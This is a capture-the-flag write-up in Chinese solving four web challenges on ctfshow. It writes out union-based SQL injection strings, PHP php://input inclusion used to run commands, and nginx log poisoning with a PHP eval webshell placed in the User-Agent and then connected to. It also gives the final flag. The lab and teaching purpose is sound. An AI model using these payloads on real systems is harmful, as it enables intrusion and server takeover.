1,web 1签到题
打开靶场清楚的看到页面只显示 where is flag
我们首先会想到的是查看网页源码,按F12后出现了一串有64个大小写英文组合而成的字符串,可以联想到base64编码
用base64编码后出现flag,编码工具可网上查找。
Web 2
打开靶场,根据靶场显示为sql注入,进入页面后显示为登录界面
尝试运用 "万能钥匙" 1' or 1=1# (此处的单引号,可用来闭合sql查询语句中的单引号使其顺利执行后面 or 1=1语句,例如:
此时较为合理的是在password处进行sql注入,如果在name处进行SQL注入,此时的#会注释到后面的password,这个题目木有限制,但在其他题目中,可能会出现这种情况,也可以在name中注入,但要注意不要影响后面的password
此时按照先前的惯例,会进行order by 进行判断,但用order by 却没有回显,一时间卡住了,看了看题目确定是SQL注入,后来 尝试进行union 联合注入,判断只有3列
1' union select 1,2,3#
1' union select 1,2,3,4#并没有进行回显
此后进行union联合注入,依次数据库名,表名,列名,字段值
1' union select 1,database(),3#
1' union select 1,(select group_concat(table_name) from information_schema.tables where table_schema = 'web2'),3#
1' union select 1,(select group_concat(column_name) from information_schema.columns where table_name = 'flag'),3#
1' union select 1,(select flag from flag),3#
Web3
启动靶场后,出现了一行php代码,根据关键词include文件包含,首先想到php伪协议,可以尝试显示该网站下的所有的页面。
php伪协议参照:【精选】PHP伪协议详解-CSDN博客
通过burpsuite抓包分析,在url中传入php://input协议,同时 在post设置的文件内容,php执行时会将post内容当作文件内容,写入system命令’ls'
根据以往的经验flag很可能出现在ctf_go_go_go中,使用cat命令获取flag
Web 4
打开靶场后,首页面如web 3的页面一样,此时我们可以同样尝试用php伪协议,结果显示error
我们可以从右侧看见中间件是nginx
日志包含漏洞的是前提是服务器需要开启了记录日志的功能才可以利用这个漏洞。
对于Apache,日志存放路径:/var/log/apache/access.log
对于Ngnix,日志存放路径:/var/log/nginx/access.log 和 /var/log/nginx/error.log
中间件的日志文件会保存网站的访问记录,比如HTTP请求行,User-Agent,Referer等客户端信息,如果在HTTP请求中插入恶意代码,那么恶意代码就会保存到日志文件中,访问日志文件的时候,日志文件中的恶意代码就会执行,从而造成任意代码执行甚至获取shell。(来源网络)
Nginx中的日志分两种。
一、error.log:error.log可以配置成任意级别,默认级别是error,用来记录Nginx运行期间的处理流程相关的信息;
二、access.log。access.log指的是访问日志,用来记录服务器的接入信息(包括记录用户的IP、请求处理时间、浏览器信息等)。
传参 ?url=/var/log/nginx/access.log
由此可以看出,服务器端开启了记录日志的功能,我们仔细观察日志记录可以看出其包含了用户代理方面的信息,我们可以利用burpsuite中抓取数据包,在其User-Agent中添加一句木马
<?php eval($_POST['1']); ?>
可以看到其日志中明显的增加了,此时木马已经插入进去了,日志中的代码会被执行但不会显示
连接蚁剑
url地址是我们传入的日志地址,参数为我们写入木马中post传入的值
www目录下的flag.txt中保存flag
拿到flag 即 ctfshow{e8c8e143-6ddb-43eb-9548-6f2ed5d97a8f}